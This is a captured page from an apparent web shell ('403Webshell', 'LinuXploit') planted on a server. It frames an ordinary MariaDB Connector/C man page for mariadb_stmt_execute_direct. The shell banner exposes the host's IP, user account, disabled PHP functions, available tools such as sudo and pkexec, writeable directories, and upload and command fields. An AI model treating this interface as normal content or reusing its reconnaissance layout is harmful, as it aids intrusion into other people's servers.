403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/local/mysql/man/man3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/local/mysql/man/man3/mariadb_stmt_execute_direct.3
.\" Automatically generated by Pandoc 3.5
.\"
.TH "mariadb_stmt_execute_direct" "3" "" "Version 3.3" "MariaDB Connector/C"
.SS Name
mariadb_stmt_execute_direct \- prepares and executes a prepared
statement
.SS Synopsis
.IP
.EX
#include <mysql.h>

int mariadb_stmt_execute_direct(MYSQL_STMT * stmt,
                                const char *query,
                                size_t length);
.EE
.SS Description
Prepares and executes a statement which was previously allocated by
\f[B]mysql_stmt_init(3)\f[R], using the current values of the parameter
variables if any parameters exist in the statement.
.SS Parameters
.IP \[bu] 2
\f[CR]stmt\f[R] \- A statement handle, which was previously allocated by
\f[B]mysql_stmt_init(3)\f[R].
.IP \[bu] 2
\f[CR]query\f[R] SQL statement
.IP \[bu] 2
\f[CR]length\f[R] Length of SQL statement
.SS Return value
Returns zero on success, non\-zero on failure.
.SS Notes
.IP \[bu] 2
Since the number of parameter of the statement is unknown before
execution it is mandatory to set the number of parameters via the
\f[B]mysql_stmt_attr_set(3)\f[R] function.
.IP \[bu] 2
If the SQL statement is a zero\-terminated string, you can also pass
\f[CR]\-1\f[R] as length.
.IP \[bu] 2
The statement handle is intended for one\-time execution.
Reusing the statement handle might lead to unexpected behavior.
.SS History
This function was added in Connector/C 3.0 and requires MariaDB 10.2 or
later versions.
.SS See Also
.IP \[bu] 2
\f[B]mysql_stmt_attr_set(3)\f[R]
.IP \[bu] 2
\f[B]mysql_stmt_bind_param(3)\f[R]
.SS Example
\[ga]\[ga]\[ga]C static int execute_direct_example(MYSQL \f[I]mysql) {
MYSQL_STMT \f[R]stmt= mysql_stmt_init(mysql); MYSQL_BIND bind[2]; int
intval= 1; int param_count= 2; char *strval=
\[lq]execute_direct_example\[rq];
.PP
/* Direct execution without parameters */ if
(mariadb_stmt_execute_direct(stmt, \[lq]CREATE TABLE execute_direct (a
int, b varchar(30))\[rq], \-1)) goto error;
.PP
memset(&bind, 0, sizeof(MYSQL_BIND) * 2); bind[0].buffer_type=
MYSQL_TYPE_SHORT; bind[0].buffer= &intval; bind[1].buffer_type=
MYSQL_TYPE_STRING; bind[1].buffer= strval; bind[1].buffer_length=
strlen(strval);
.PP
/* set number of parameters */ if (mysql_stmt_attr_set(stmt,
STMT_ATTR_PREBIND_PARAMS, &param_count)) goto error;
.PP
/* bind parameters */ if (mysql_stmt_bind_param(stmt, bind)) goto error;
.PP
if (mariadb_stmt_execute_direct(stmt, \[lq]INSERT INTO execute_direct
VALUES (?,?)\[rq], \-1)) goto error;
.PP
mysql_stmt_close(stmt); return 0; error: printf(\[lq]Error: %s\[rq],
mysql_stmt_error(stmt)); mysql_stmt_close(stmt); return 1; }

Youez - 2016 - github.com/yon3zu
LinuXploit